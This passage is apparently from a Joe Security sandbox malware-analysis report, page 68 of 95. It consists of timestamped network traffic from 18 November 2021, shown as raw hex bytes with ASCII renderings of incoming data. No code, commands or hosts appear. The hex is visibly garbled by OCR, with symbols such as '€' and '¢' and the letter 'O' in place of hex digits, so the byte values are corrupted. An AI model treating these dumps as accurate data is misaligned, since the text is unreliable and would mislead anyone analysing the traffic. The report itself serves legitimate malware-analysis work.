Data Ascii: g,~_R+xLkU 3MZ;|RdW”0SK"(_]Lydo+|Hb"4[(%qtP$>VM%@uy@alsiz~|~ZdrZ2'2Z/T+u--;#QiTm"Kg

2021-11-18 09:30:32 UTC 1067 IN Data Raw: 55 10 c9 ce ac b1 40 69 d7 7b 13 8a c7 6d 66 €9 75 e5 bb a7 46 3e bf 5b 64 26 79 93 30 2d c0 27 27 4e 89 54
17 af 5 65 32 4d a8 1a 74 50 c5 62 24 37 99 83 7b ac fc ¢9 49 d9 9d 44 01 17 ef 35 48 fb c4 f2 e9 67 d6 bb 91 16 ee 75
62 09 c5 be 0a a8 7a a4 ba fd 72 a4 ee 32 aa f6 ¢3 d0 97 a7 31 49 8e 13 5d ad 75 ba e6 7f 92 13 ff 6e 28 5e 9c 29 da 3f
32 6f 8a 5d fc a5 09 ce 30 51 33 4b 0b 80 74 d2 c5 de c4 81 ab f2 17 12 2c 3¢ 21 31 49 01 2b cb b3 4a ba 56 c0 13 36 2d
16 06 a2 dc b7 f6 7b €8 12 a6 bd 2c 18 e5 e6 be 2d a3 25 55 7f 74 85 ¢5 ec 84 23 f2 51 4c 9c 4f 2d Oa 3c eb d7 f8 43 41
91 ac 3c 2b cb 7f c2 c4 cb al b2 0f 96 f4 09 f7 d3 39 ca 77 58 el 29 ce 3c 6e af 99 4b 6d 14 84 b0 ba bd 63 93 34 5d 32 c6
31 75 fb c4 13 50 f2 ec 93 e6 00 4e bb 84 76 f8 ae a5
Data Ascii: U@i{mfuF>[d&y0-"NTe2MtPh$7{ID5Hgubzr211Jun(*)?20]0Q3Kt,<!11+IV6-{,-%Ut#QLO-<CA<+9wX)<nK
mc4]21uPNv

2021-11-18 09:30:32 UTC 1083 IN Data Raw: ¢7 11 5a b1 fc 1c d3 88 fe 89 4b ef bb 32 7 de 75 98 b2 0d 04 a0 17 1f 21 5a fe a3 b5 78 5a df 16 b7 a8 06 2d
80 9a 6a 89 28 5e 08 52 09 ca 5d 79 42 62 8b 12 f7 19 ed c9 6d 30 93 ea 9d 72 7f cc 88 f1 bd 4c d9 9d df 92 Oc 69 b6 30
72 fb c4 31 c6 ab 32 9a 33 d7 db 29 Ob ¢6 c5 9a c7 fd 72 a8 8a d8 9a 97 77 9a 57 e4 Oc b5 ec 7b 2a c9 be 58 97 10 49 ce
2b 5e 02 a7 ab Ob 01 ff 21 56 91 34 1c ef 62 f7 el 12 75 88 66 3e €9 7d 82 fb e6 a8 56 6e 5b b7 e0 22 a2 13 76 51 2e 30
3b af 29 00 73 19 41 90 62 75 5e el a7 18 ba cl 4a 11 e2 81 d6 bc 4c c4 7 3¢ a2 45 9a ac fd ba 22 20 70 32 88 85 3f 74
55 12 ¢3 01 d1 fe 89 7b 54 b4 ab b3 95 2a ce 65 28 9 3b 15 25 f3 77 d4 8f c1 f6 24 fO 2a a6 4a 4b b2 d1 13 01 fe a8 ad c2
c0 e8 04 42 cc 55 4e al 91 30 85 fe 34 b8 12 89 eb
Data Ascii: ZK2u!ZxZ-j(*R]yBbmOrLiOr123)rwW{*XI+V4buf>}Vn['vQ.0;)sAburIL<E" p2?2tU{T*e(;%w$*IKBUNO4

2021-11-18 09:30:32 UTC 1099 IN Data Raw: b6 08 29 ee 68 79 23 89 2f 50 21 5b 30 8a b1 49 42 96 5a 5e 8b 7f 6d 1d 28 cb d6 2a ba 4b 48 99 34 40 2f e6
0194 72 97 fe 62 58 8a 1f 90 82 b7 25 9e f0 bd 25 89 04 c6 2b b7 db 8e a5 ff ae b1 57 ad c¢7 d3 57 f1 8a e0 6a 34 8e 2d
da 90 48 ac fe b7 5 68 99 de 34 11 fe b4 15 cb 74 25 c9 46 cf 2e 29 d7 4a 26 el 12 15 8d 02 6b 96 cd 1e b7 51 f6 4b d8
65 b9 8b 4b 89 39 ee 83 9e 0d 97 90 62 c8 d7 59 b9 82 8b Oe 29 ff 7 44 72 bf 1b 40 b2 90 79 c7 9c c6 62 96 3c ce c8 65
42 e7 f0 24 03 bf 89 74 6e a3 4c 9f 12 ac ac Of a4 f1 80 38 8d a4 eb ac ea 14 2b Oe 2a d3 ee 22 c0 29 {7 cc 61 4e 5d 8c a8
ef 45 a8 71 71 2e c¢9 25 73 67 d2 bf 29 48 2f f2 e3 d3 ff 99 04 04 4d eb 92 42 02 45 Ob b6 50 ce bd d3 82 89 31 c7 ec d6
4a 0a 24 d9 a3 59 7d b5 59 5b 6a 1d 2d d6 3a c5 df ff
Data Ascii: )hy#/P![0IBZ"m(*KH4@/rbX%%+WW;j4-Hh4t%F.)J&kQKeK9bY)Dr@yb<eB$tnL8+*")aN]Eqq.%sg)H/MBEP1J$
Y}Y[-:

Copyright Joe Security LLC 2021 Page 68 of 95



kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 1115 IN Data Raw: €9 11 43 c1 24 2f 75 2b a3 98 12 33 1a 44 41 ee 0f ad 9d c4 21 dO ab bc 69 d4 24 5f 98 f2 c6 4a b1 b2 4b 81
03 1e 09 d7 2a ae 31 23 f1 40 3b 62 73 90 22 01 f9 fb 10 02 d9 31 df 25 77 71 b5 a5 11 8b 2d f2 51 95 4e c0 26 78 4c bc
56 b5 cc 41 2f 21 f0 f7 13 84 78 a2 2a f2 15 49 99 71 a8 55 9f 53 8a a9 3c 82 Oe 5e d9 27 fe 84 22 21 4e de 31 1c 21 d7
76 85 5f aa 31 47 31 d2 af 04 df 92 95 f4 f9 c4 18 ab e3 27 48 9b 2e ee 03 c4 e2 ea ac 8e a2 0d de 7a 60 01 c1 31 f7 62 33
f0 e2 dc dc bb ef 64 ca 0f e6 4c 21 91 16 c9 64 51 8c d8 ca 4f a8 cc el 1e b5 53 98 16 f7 b3 4a 5e b9 a5 96 ac 8c c4 e9 01
le a4 a9 c4 11 49 89 7b bf 2d c6 61 b7 41 11 fe 3a bc ae 9e 12 df be e3 d2 4b fa 34 9c 84 af c2 09 11 77 ab 41 75 16 f6 f1
4d 8e 72 e2 17 01 f3 b3 6f 1c 05 38 22 2f 7 80
Data Ascii: C$/u+3DAli$_JK*1#@;bs"1%wg-QN&XLVA/IX*IqUS<N"IN1lv_1G1'H.z 1b3dL!dQOSIN{-aA:KAWAuMro8"/

2021-11-18 09:30:32 UTC 1131 IN Data Raw: b9 Oa ac 88 b0 ef 09 de e8 c1 bd b1 b0 el 58 bf ¢5 b5 16 1b 13 1f €9 6¢ f2 73 96 ee 31 2c c1 68 52 11 15 a4 5f
9c 22 f1 98 d8 c1 a8 84 b7 e4 c2 75 21 fc f6 5e 30 64 b0 bb b8 06 b5 ae f2 3f 97 bd 1f 82 1f 21 f9 5f 30 47 c1 90 aa 49 2f
79 88 3b b7 87 e4 80 57 ee Ob 72 df 5f ec 47 55 f7 35 30 59 c¢7 95 5d b2 54 62 45 4c ed 92 4c 90 3c 4a 64 ae d9 Oe 3b e7
26 38 63 4e 9d a9 27 bf 5¢c 58 85 21 ff bb f3 46 93 ea a7 e4 4c 51 5d 09 df 2f {7 14 4e 27 21 d7 cc 12 26 c6 bf ee 5a d7 ea
e3 dd 73 06 20 7b b9 54 97 e7 fe cc 5¢ ¢7 95 d7 16 8 bb b9 22 c0 5a 0a 2¢ 44 c6 9d dd 96 77 2c f7 3b b4 5a 51 9b Ob 8b
le 60 7b cf c5 bd 14 f9 d0 a0 ad 4f 84 c1 52 95 99 bb af a0 45 09 8b ef 67 3e b5 Ob 21 f7 2b 1e dd ce 11 82 82 55 14 b3
8e eb 13 1e 89 d9 8d 3c 3b 09 8e ef 77 16 17 97
Data Ascii: XIs1,hR_"u!"0d?!_0Gl/y;Wr_GU50Y]TbELL<Jd;&8cN\X!FLQ]/N'&Zs {T\"Z,Dw,;ZQ {OREg>!+U<;w

2021-11-18 09:30:32 UTC 1147 IN Data Raw: 77 25 5b 65 91 65 4e fO 16 f7 52 28 9e da ea 5c 1f 52 12 f0 96 64 ea 01 9f 9c 7d 54 3b 49 be 8a 89 78 fe a2 e9
5f 46 f0 95 89 12 db bb 13 fe 63 ad 31 f4 b6 59 78 5f 24 29 40 2a 74 28 af b7 1e 53 4c 48 8e 4b d9 08 6a 85 37 €9 2c d7 ef
50 al 46 4e e2 db 96 aa d9 8a 25 a7 6b dc 6b c7 4a 64 a2 fa d3 eb ca c3 4a 12 72 a9 69 4b bb dc ba f7 4a dc f3 1b 92 8c
5b 89 5e c¢1 09 1a cf 53 32 3c 4f aa 74 2b e3 75 5e fa 64 83 fb €2 b5 84 8b 36 ae €3 22 c4 €7 8b b2 44 96 75 6 b3 83 22
1c 94 4d 21 71 a7 79 86 a7 dd 14 9a 94 64 73 4a 20 e2 07 92 ad 5e c9 30 64 75 a2 6¢ 5¢ 22 5a f3 f8 2d 5e 70 cf 17 a8 77
a5 82 7f 31 f4 a2 ¢9 76 cd 65 8a 88 cb ce b5 db 5¢ 95 63 22 4a 62 84 16 39 Oe 15 be d1 15 09 d6 26 68 6b 10 54 b9 51 3¢
6a dc 90 e6 4f 64 cd c4 a8 4c 9c 5f 01 eb 35 09 12
Data Ascii: w%[eeNR(\Rd}T;Ix_FclYx_$)@*(SLHK|7,PFN%kkJdJriKJ[*S2<Ot+u”d6"Du"M!qydsJ ~0dul\"Z-"pwlve
\c"Jb9&hkTQ<jOdL_5

2021-11-18 09:30:32 UTC 1163 IN Data Raw: a5 1c 5¢ 47 ea 04 80 3e f6 ee 13 d2 99 70 6¢ 17 9e 17 db dd Oe 4c 60 dc be 71 52 5d 46 da b5 ce 69 27 88 17
7d 4c al 3e 01 c6 25 0f 54 a3 a5 77 c¢5 f9 ad d6 cf c5 f1 84 1d ef €9 80 c4 31 d7 fc ¢6 c1 21 f1 01 d1 2a ea 61 3a 31 df 28
22 d7 ab 62 71 c6 8b 66 50 69 2d €9 c5 €6 fb 21 e1 04 14 f1 06 Ob 80 c3 21 51 67 27 cb ad d2 c9 f5 6¢ 8c 25 e7 28 5 61
ad 42 f0 7d d9 fd 4d 1c 2b 04 7f c1 40 34 ab b8 46 e2 04 fe 25 50 31 d9 b7 98 30 03 16 95 77 14 22 93 c2 15 bf 2a 41 1c
94 89 c9 32 15 33 16 d6 84 c1 8b 4e 29 d7 cd f4 c8 c9 b9 58 0a 44 b5 ae 9d 80 7a 62 cd el 7f 14 7e Ob 09 f1 89 d3 6¢ a3
51 ee f7 01 a3 31 f1 3f bc 17 b5 ab 61 5d c1 90 c2 45 33 96 16 €3 7f 4c 81 02 8b 13 09 f9 31 55 54 d2 52 ab 01 c6 d4 94
15 69 5f 59 bd be 5b ee 62 2b f1 57 d1 4c 4d b4 19 de
Data Ascii: \G>pIL qR]Fi'tL>%Tw1!*a:1("bgfPi-!'Qg'I%(aB}M+@4F%P10w"*A23N)XDzb~IQ1?a]E3LLUTRI_Y[b+WLM

2021-11-18 09:30:32 UTC 1179 IN Data Raw: 21 f2 df 53 4c 15 39 7a 2e 3¢ 07 5a 04 fe 31 bf a3 ee 41 bb 3b ea 74 ¢1 e8 d7 92 5 00 7e dc 1d c6 5¢ 49 5b d4
b7 6a 5e b7 93 25 bb 29 3a 79 96 11 ee 28 3f 05 53 ef 2d 35 74 2e 6f d2 24 17 ac b1 ca be 45 91 32 7b 4c 65 dd d4 b1 Of
80 c1 3f 89 8b 1a bb 5 09 ba ff €6 6e 5a ce fa 2d 58 0d 84 2a b9 c9 8e 3d 1c 21 c0 66 53 €9 23 99 56 cb 1 8a 15 53 d3 cb
¢6 fc 48 cb f1 ¢7 1f 09 65 78 Of 4f cf al 54 2a cb b7 29 49 8 6b 77 8b 81 7c 34 27 55 14 69 25 01 ¢7 5d 33 61 cd €3 al 22
64 8a a4 dd 59 03 92 ff 56 b0 16 ab b2 01 d6 34 97 aa €6 ae 40 2b 89 bd 01 3b 31 ce 01 da 7 59 08 62 09 de 75 46 6b 2d
€7 ¢5 14 01 94 56 12 ¢3 b2 9c 42 cc 21 Oe 02 8f 03 e9 1e 5c 5d 59 ef 2e f6 02 28 ce 53 d6 36 c2 36 ef 5f 14 df 82 cd 6¢ cb
81 d7 21 25 d2 c9 ea d1 f8 2b 31 4a 31 c8 68
Data Ascii: 1SL9Z.<Z1A;t-\I[}\%):y(?S-5t.0$E2{Le?2nZ-X*=I{S#VSHexOT#)Ikw|4'Ui%]3a"dYV4@-+;1Y buFk-VBI]Y.(S66_1%
+1J1h

2021-11-18 09:30:32 UTC 1195 IN Data Raw: fa db 17 51 0b 00 87 9d d2 ea 52 9c 4e 6b 52 77 ba 91 24 29 32 bd fb 8e 2a 1c 25 76 98 52 74 cf ef 5e 27 41
05 ea 15 ee f3 77 48 ae 4b 9d Oe 6b ca ae 16 3c 03 67 54 c4 f6 af ec 41 e4 e8 1f c6 f6 9d 7a 97 b2 Ob 5a 73 5e a8 8b 07
15¢6 67 44 89 a9 c5 82 2d 5a 49 95 db 51 25 cc b5 49 6d 65 84 e6 64 ec 5¢ a7 e9 d3 0f 10 45 84 c6 15 23 e6 fd 54 1le 65
d2f3134b 16 e4 a2 al 93 bd c2 f4 e8 a7 c9 90 71 02 64 ea fa d9 el a5 7f 65 71 Oa f6 04 2d ad fe 04 e4 49 e8 7c a5 ae
dc 38 18 9f 6e e5 a2 be ff ¢5 be 13 06 af 77 b5 a2 1e 31 77 74 81 69 89 26 76 ef eb 2b 57 7d 94 94 95 d4 ca 47 29 c9 dd
6¢ 9b 4e 9c 31 ae f7 64 11 8a 11 3c 6d c4 31 df bb e8 af cb d7 78 6a 97 dd b3 90 4a aa 28 f1 89 5b de c5 6d ec 1e d2 c7
1 85 63 f2 22 93 fb 62 83 3b 50 4a 9c 60 52 62 f9 e6 1b
Data Ascii: QRNKRw$)2*%VvRtNAwHKk<gTAzZs"gD-ZIQ%Imed\E#TeKqdeq-I|8nwiwti&v+W}G)IN1d<m1xjJ([mc"b;PJ Rb

2021-11-18 09:30:32 UTC 1211 IN Data Raw: 32 55 14 77 85 32 2e 0d 29 60 5e 01 d7 4f 5a bc 56 b7 0a 01 d7 5f 7c 05 68 59 9d ed 3f fd 18 79 05 80 f4 1b 7c
5d fa dc 2a 50 02 52 ba 1e 45 8 55 fd 46 e9 7f 3¢ cf 43 56 65 8b 34 fc 2a 88 c6 4e cb ee b 8b a5 5 10 48 56 51 1f b9 ee
26 €5 7 ca fb 55 ab 50 5 32 4c 6 9b 03 25 21 ee 3d 30 41 51 a9 b8 f3 31 2f b6 1a d6 60 6b df 1c 68 03 53 bb 73 a0 f7 7f
€0 3 4b 84 €6 2b 02 57 bf 1e c9 fe 1f f7 cO 3d f7 d3 cO 04 43 81 c3 68 13 3b bf 6b 1c eb bb 13 c2 a8 b1 2f 5b 69 9e 89 2f
a8 7b b1 50 68 08 58 7d 29 €7 7b €6 a5 67 Oc 52 1d a6 ec 73 90 28 1a 66 6e 08 f8 €5 94 57 c9 56 ec c4 8b ab 39 f6 7b b7
a7 5e ca 9e 14 87 1c 44 00 55 bd 37 59 ae 3f c1 12 ed 07 45 01 00 38 a4 80 ff 7b b0 44 57 a0 4c 60 5b 3e bd 5f 31 c1 d8
€9 81 ca 80 0b 5d 56 be 22 bf 63 40 fa f1 42
Data Ascii: 2Uw2.)"A0ZV_|hY2y[J*PREUF<CVe4*NHVQ&UP2L%!=0AQ1/ khSsK+W=Ch:k/[iI{PhX})}{gRs(fIWVI{ADU7Y?
E8{DWL [>_1]V'c@B

2021-11-18 09:30:32 UTC 1227 IN Data Raw: bl 48 de 7f e4 Ob 25 97 45 87 ab 2d 49 cc ab 97 99 ba 48 09 6a cb a0 4e 64 b5 89 3e 6e 8b 4c 51 b4 38 91 f2
4124 01 fb 28 ¢9 9c b4 22 52 09 c1 ce 8d b5 6e 6e 48 be 7f a4 91 c9 ef 40 3c 8a a5 42 a3 16 21 fe ec 33 77 c2 b5 32 87
04 48 5f bf c2 48 d6 d5 1a 93 5f 41 6d 44 47 1a d9 e2 0d ee b1 52 bb al 50 07 05 58 11 7a c9 40 e6 02 b6 0f 42 0f b6 d5
fb c7 1a 77 Oa 7 6¢ 6b 9f c6 fb 25 29 ce 92 52 f5 81 c9 fb 89 €9 2¢ d3 ¢4 21 cb fe f2 13 3¢ 31 09 01 2 ba e4 3b 69 09 22
46 41 ed dc fb 29 4b fa fe 8d 10 e3 ea €8 71 da a2 7c b0 1e 95 f1 b2 93 ca 33 e9 38 2c fe fO0 b6 5b 7e 8c 5e e3 61 82 f6 a8
7e 28 99 05 51 68 05 7f cb cc 12 09 d8 a6 25 76 44 28 0d 4a 30 71 71 8a 1f 38 e7 d3 b8 33 14 05 64 46 2d c7 db 95 a0 3¢
90 a0 cb 30 3b 14 1a 44 8b 29 4e 8 f2 7a 8b d8 40
Data Ascii: H%E-IHNd>nLQ8AS$("RnnH@<B!3w2H_H_AmDGRPXz@BwlIk%)R,!<1;i"FA)Kq|38,[~"*a~(Qh%vD(J0qq83dF-
<0;D)Nz@

2021-11-18 09:30:32 UTC 1243 IN Data Raw: 90 30 f8 03 cb 43 2d 5c cf 58 09 f0 a4 3f 25 0d 04 ba 5e 5e {7 62 e3 0f 22 89 de fd 4c 69 50 b8 14 31 72 c3 12
ch 21 d3 72 f3 f3 98 af 27 07 13 74 71 31 ab €3 4e 28 24 31 4e c0 ab 44 cd f3 11 ab 28 e4 29 27 f6 2d 11 ee f3 6b b6 ee
14 eb 8b 4a 2d c8 54 a8 12 f3 ad 71 8f ee 11 44 b5 f8 2d 35 9c e5 7b 21 2d 06 01 fO 21 4e 38 27 6b 96 98 37 31 6d 31 d3
d9 8 2e 31 e5 88 ca 2f 98 Oe eb 99 5e 96 fe ba 16 9a ab cc d1 eb a4 c2 b5 78 9e 7f 01 52 35 al 25 2d 7d 12 ec 6b €9 aa
c3d7 42 a7 12 3e 77 €0 c3 cb 99 b7 94 1d 98 {7 4e 10 ac 46 5a ef 34 ec eb 31 d1 c3 33 42 6e d0 5d 39 39 2d 68 da 8d Ob
3e 2e ed ¢5 89 f7 16 26 bc cc 42 0d 65 5e 02 50 35 dc al 2b 13 6a 98 89 e6 4e ac 8e d3 26 02 38 ¢9 d9 21 ac 1f 25 e5 db
24 aa 27 c6 ¢8 05 8a 09 80 €9 b0 fe 21 ca e0 01 7c 3b
Data Ascii: 0C-\X?%"b"LiP1rIr'tqIN($1ND()'-kJ-TqD-5{!-IN8'k71m1.1/*xR5%-}kB>WNFZ413Bn]99-h>.&Be P5+N&8!%$'|;

2021-11-18 09:30:32 UTC 1259 IN Data Raw: b0 Ob 80 Of b6 48 02 ef 9d 66 c3 6b 7 44 2d 99 f6 9f 09 79 2d d1 d6 a0 c4 cf 22 2b ab 27 66 5a 45 ac 6e b6 b2
4a be c8e2 09 52 fb 65 5b 31 fd eb 28 54 30 26 6¢ 6d 21 c9 49 08 c2 69 a5 75 c4 57 68 03 39 08 0a 01 c7 6b 8¢ 29 fb 4b
eb 42 68 27 chb 19 67 38 17 c2 el 75 a5 31 63 21 45 f1 45 5d 6e 91 18 ac 04 31 d3 89 c1 ab b8 b5 de ac 9c 01 5f 33 e4 5d
b9 4c f2 ff 25 bb 0a 31 d6 d2 10 33 02 31 b5 73 fc 3c 24 d9 73 Oe 21 9 89 fa df €6 8e 5e f1 b8 61 d0 64 4a d8 69 21 5c¢ 3
a3 5e ff 29 7a 72 ¢8 31 09 26 2 15 09 d9 a8 11 29 cb c1 07 21 17 39 b9 d6 65 62 aa 8c d7 b8 bf d4 73 50 31 fO bc 74 90
1389 d7 04 5¢ 16 bf ec ef b4 a2 2d 64 81 eb fb a4 10 01 13 de 31 ce ee 61 cf ¢3 38 41 19 de 25 a5 fa ec 4a b3 16 03 31
de 2b 13 5b 5a €9 82 85 e7 8b 29 06 12 68 0d 98 ab
Data Ascii: HfkD-y-"+fZEnJRe[1(TO&Im!liuWh9k)KBh'g8ulc!EE]n1_3]L%131s<$s!"adJi\*)zr1&)!9ebsP1t\-d1a8A%J1+[Z)h
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kBytes
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2021-11-18 09:30:32 UTC 1275 IN Data Raw: ca d5 02 22 Ob c4 8a Oe a9 49 d3 e8 4d a5 81 66 80 €9 3a el 3e dd fe 3f d8 2f 0a bb 85 09 f2 fc 6e d7 e0 08 8e
9e 3f 27 5d 6 5¢ 95 7d 18 74 80 ea 7b 3b 17 fe 31 c6 72 90 ce 57 4c 13 b7 61 7a fe 67 b9 10 ee ac d0 6¢ 17 29 d6 ac 6d
4e bb c9 8c 2b ee 29 23 d9 39 38 33 b2 c6 c7 b8 25 5e 09 61 f6 09 ce 6f 34 99 ee ed 2d 7e 97 57 94 ed 9a e4 bl ea 6d 42
2c 70 e4 31 da ce 30 11 2b 07 39 51 9c 20 5f 80 84 2e a2 00 92 a9 c6 d3 a9 7d 91 dc 4b ed a5 d2 af 57 54 e9 3d a4 fb 4a
d8 28 39 eb 66 d9 b4 09 69 51 0f 45 3c €2 33 92 17 20 be 13 11 53 f3 b3 44 4b e4 da 1c 9f 96 8f bd cc d5 65 03 44 {7 fa a3
5c 93 af 21 e2 f7 ¢5 55 30 b4 d7 1c 95 16 76 f8 be b6 07 53 48 f2 26 e5 bf 34 19 ef 32 da c7 5d 47 e2 3b 2¢ 30 17 e5 01
a8 1d b4 aa d9 fa 7b a8 9c 39 21 4b ad 85 cb ac 14
Data Ascii: "IMf:>?/n?'|\}t{; 1rWLazgl)mN+)#983%"a04-~WmB,p10+9Q _.}JKWT=J(9fiQE<3 SDKeD\IUOVSH&42]G;,0{9'K

2021-11-18 09:30:32 UTC 1291 IN Data Raw: cb ce dd 18 54 03 3a bc 05 c4 ef 8d 54 f1 dc 59 8d Oc a7 01 ed 6b 34 bl ae €8 b8 5b 31 87 8b 1a 44 83 bc f6
d7 339 f6 16 57 e6 68 a3 6f 7c 5b 02 8a 16 1b 33 1a 20 5a 34 34 50 ee b1 62 0a a8 28 1c 55 f6 09 5b fe 30 96 2b 1a 31
51 d6 5b a0 54 e6 ed 3a ac 83 d2 a6 51 10 c2 ea 89 ee 9a e6 e6 c0 82 8c al 53 02 34 cc 2a be 72 49 ce 92 be f8 b3 3a de
21 0b Of be fb 7d e6 83 4e d6 61 2c ee 99 69 16 88 05 bb 0d bf fb 31 50 d2 60 ad e6 3c be 18 52 d6 8¢ 92 6d 2d 30 04 94
ab 35 07 ae al d3 3a 22 4e 33 5¢ 41 52 dc fa c4 f7 99 1e 05 a3 ad ad d4 30 48 77 90 47 22 95 f0 3a 2d €9 30 c5 ab 35 5a
8 d0 d6 fe 39 5¢ 1d 96 5d 5d 4d 24 bd 66 3d ce 12 ef 8b cd 00 2b ad aa 9e 13 04 e2 b4 84 8a 06 a3 84 07 34 1e 2c 53 24
75 ae a9 45 dd 93 3b a6 63 2d 67 47 96 10 40 d3 b7 58 4b
Data Ascii: T:TYk4[1D3Who|[3 Z44Pb(U[0+1Q[T:QS4*rl:l}Na,i1P <Rm-05:"N3\AROHWG":-05Z9\]|[M$f=+4,S$uE;c-gG@XK

2021-11-18 09:30:32 UTC 1295 IN Data Raw: 79 38 ff d3 68 4b af d9 a9 31 ed 37 4b 12 c7 ea 64 21 95 8e f7 09 4c 7b 48 8e 40 c4 31 bc €9 c1 80 f2 cc 35 9b
78 64 dd 89 b6 c1 74 e6 6d f4 a7 66 f8 ac 95 e6 31 ¢9 98 21 d7 c6 31 17 Of b7 c1 49 d1 de 5f 71 d7 e9 1a f3 c¢3 17 5a a2
3501 aa al dO 3e ac f9 a5 98 1b 01 25 c1 9c 89 5f 5f 5b 1f 45 50 52 66 €3 1e 25 35 13 1c ec a8 73 ch 2d e4 42 4f 6 ef 65
42 a9 b7 92 36 cd 2c b7 76 20 e4 54 8b 6a 13 e6 ac 2d ed 5¢ 7b 75 89 35 3f cd 07 22 ed 4b 8a 4e 6b 1c 59 €9 4a cl 49 de
1b 5b 53 a0 3c 48 2b 5d 2d 4e ea 2c 67 e6 9d 76 6d e2 31 cf d3 2a 96 3b b2 d2 9f 09 cf 49 e6 d0 5a f7 fe 62 26 ac d6 e8
6b 7e da 6¢ 30 d7 9d fc bf 72 fc 02 6b 74 ec 25 55 c2 5¢ dc d2 5a df 99 2c ff 42 36 be 29 f0 98 c4 6¢ cf 63 e2 d6 97 8d 2a
3e Oc a6 df 34 21 ec 31 9f e6 1c bd 74 30 cf a9
Data Ascii: y8hK17Kd!L{H@15xdtmf1!1l_gqZ5>%__ [EPR{%5s-BOeB6,v Tj-\{u5?"KNkYJI[S<H+]-N,gvm1*;1Zb&k~I0r
kt%U\Z,B6)Ic*>4!1t0

2021-11-18 09:30:32 UTC 1311 IN Data Raw: d5 d3 b8 bb d5 d1 26 ¢3 29 69 89 f7 Ob 7a d5 39 12 45 7a 2c b5 e6 4a 1c b2 40 c4 f3 ac a8 19 a3 03 0Ob 5e cf
31 ch b3 76 bc ef ec eb 96 17 78 a3 26 7a 9f f3 fd 89 f6 75 51 36 bf 26 dc e4 72 5e d4 22 63 27 e3 3b 14 0d 2f 01 df 4c 37
bd d0 21 b6 a2 60 21 c3 2b 01 9e 2 31 1c eb 28 2b ca 1a 65 68 bf bc 70 bl 31 fb 2a 8d da 04 b5 3 c4 5¢ 75 5a 9d f8 18
eac3 a2 e3 68 fdf6 02 aa 39 56 b5 92 ac b2 56 d7 a3 11 2d db 09 6c 1c 94 95 99 8b 01 2b ed 26 92 d8 59 30 b5 16 f6 4e
e8e3ch 12 05 c5 ac 80 b2 7 a9 7a 9a €9 04 bb 8a bd 72 d6 b2 24 17 34 fd 21 13 d8 01 29 39 d2 81 98 f6 39 72 59 89 04
c541 3b 53 7e 5b 95 ce ae 9a e8 12 ce 67 a8 c3 b4 16 2a 13 3d 12 fc 74 ba aa f3 83 59 ab 29 f1 ea 1e 09 25 f5 14 09 82
92 57 96 43 c5 2c 21 f6 fd e5 ¢8 0f 49 1a 9e 7 ba 6e
Data Ascii: &)iz9Ez,J@"1vx&zuQ6&r"c’;/L7!"1+1(+ehpl*\uZh9VV-I+&YONzr$4!)99rYA;S~[g*=tY)%WC,!In

2021-11-18 09:30:32 UTC 1327 IN Data Raw: 4b f8 38 4a 85 4c e2 93 d7 ff 37 f2 25 fe 56 1f ef dd 12 6b a3 9f 4c 64 27 fe d5 b3 f1 5a 72 €9 66 96 cd e f1 9c
4c 92 01 5b d6 ae 65 ff b3 8 5e 24 b9 49 34 dc 59 bd 48 63 42 01 de 5f 5¢ 86 cb 58 5e 9f 94 02 bf ec c2 5b de 8c aa 8b 5f
1f cd f3 af fO 74 5¢ 72 76 c0 69 d7 82 95 33 1f dd da 9e 25 c6 28 45 d8 a5 66 b5 24 ce 0f 2e c2 e6 75 23 03 1f d2 c6 b2 f9
d4 33 cb f6 71 69 55 db db a5 6 a5 c9 79 46 2f d4 88 96 8b 99 Ob e5 02 68 03 c1 89 d7 09 df 2d cO df c7 e9 49 31 fe 49
c7 66 78 bf f1 86 92 f7 b8 7c b7 b4 be cb d5 1a 8a 06 6e 5d 4e ef 24 ce c5 c6 6b ff 1e 66 5b 91 ca ee 58 ae 6b f8 5d 96 db
7e 2b a4 d2 74 01 b5 d4 82 c8 ba Ob 33 17 7b 5e 93 0f a2 71 97 ed 11 48 ef 85 34 al be a6 1c 4a 8c 33 02 93 b0 ad df 94
ef 85 eb 2d c6 cd ec 45 a4 3d b5 51 04 92
Data Ascii: KBIL7%VKLd'ZrfL[e"$I4YHCcB_\XA[_t\rvi3%(Ef$.u#3qiUyF/h-11Ifx|n]N$Ski[XK]~+t3{*qH4J3-E=Q

2021-11-18 09:30:32 UTC 1343 IN Data Raw: 6b ca 99 4b a3 c1 4d c8 5a 2d 8e 09 b7 a5 a2 46 ae 28 05 5d 27 16 fe 8b 18 b9 77 93 ee 62 86 68 d6 59 52 94
2389 a7 76 73 ad 50 b3 33 76 18 53 fe 23 4a a5 d5 3e 99 08 04 52 ae e7 29 69 0a 45 d8 12 05 ac 97 b5 9c 6b ee b7 54
59 52 75 ¢6 50 7b 18 5f af a8 e6 17 cf bf 99 {3 €6 99 4f f6 2f bc 2e a5 c8 ea 05 b7 11 b8 18 3f ca 67 20 21 52 ff e0 97 e3
4e 7259 d6 35 9d ed 1b da c3 c6 11 9d e6 45 92 35 15 09 al 05 98 6d 08 e9 4f 43 8a 08 4b b3 98 64 42 cf ef bc d2 a5 62
67 f6 e2 cb Ob f4 65 c6 bf ce c9 0a 93 d9 11 f2 02 89 21 5e 26 7a fd c2 cO d7 5b 31 bb 5d 9 85 ef 1c dd f3 05 f8 e7 53 5f 56
be ba d9 6b 6e a3 89 49 Oe 5e 9d 0d 6a f9 bc 97 ac 99 5f ca 84 25 01 ec 19 bf f2 4b bd 9c 4c 4b 04 cb 61 13 c6 dc b2 72
93 fc 52 72 b7 56 2d c5 9c 76 49 28 b5 6e 46 4e 29
Data Ascii: KKMZ-F(J'wbhYR#vsP3vS#J>R)IEKTYRUP{_0/.?g |RNrYSESmOCKdBbge!"&z[1]S_VknI"j_%KLKarRrV-vI(nFN)

2021-11-18 09:30:32 UTC 1359 IN Data Raw: f1 dd 9b 02 df 20 29 55 44 2d 28 66 29 89 b5 70 a2 e4 c0 bc fa ¢7 d8 89 d5 2 b8 b6 fe 51 e7 09 68 c3 d4 34 69
€8 42 5¢ 59 b0 8b c3 2e 94 d8 a2 3f ee 8f 29 0d 80 f2 82 9c 86 84 16 b2 13 19 fd 09 21 31 d7 53 f1 83 89 ¢8 01 3 f8 f0 8b
33 b7 5e 74 4b f5 c2 21 4e 46 2c c2 87 e4 ¢4 32 b3 04 34 ¢7 36 f3 cb 4a 8a 86 41 17 3b af 31 a6 32 2d 63 f3 49 2c ¢4 03
33212 41 c2 a7 22 5¢ 2d 2 3 50 8e 43 d7 d8 54 ea 97 d1 db 89 09 c1 32 4f 83 8a 29 32 50 28 4e b9 el 15 72 43 el
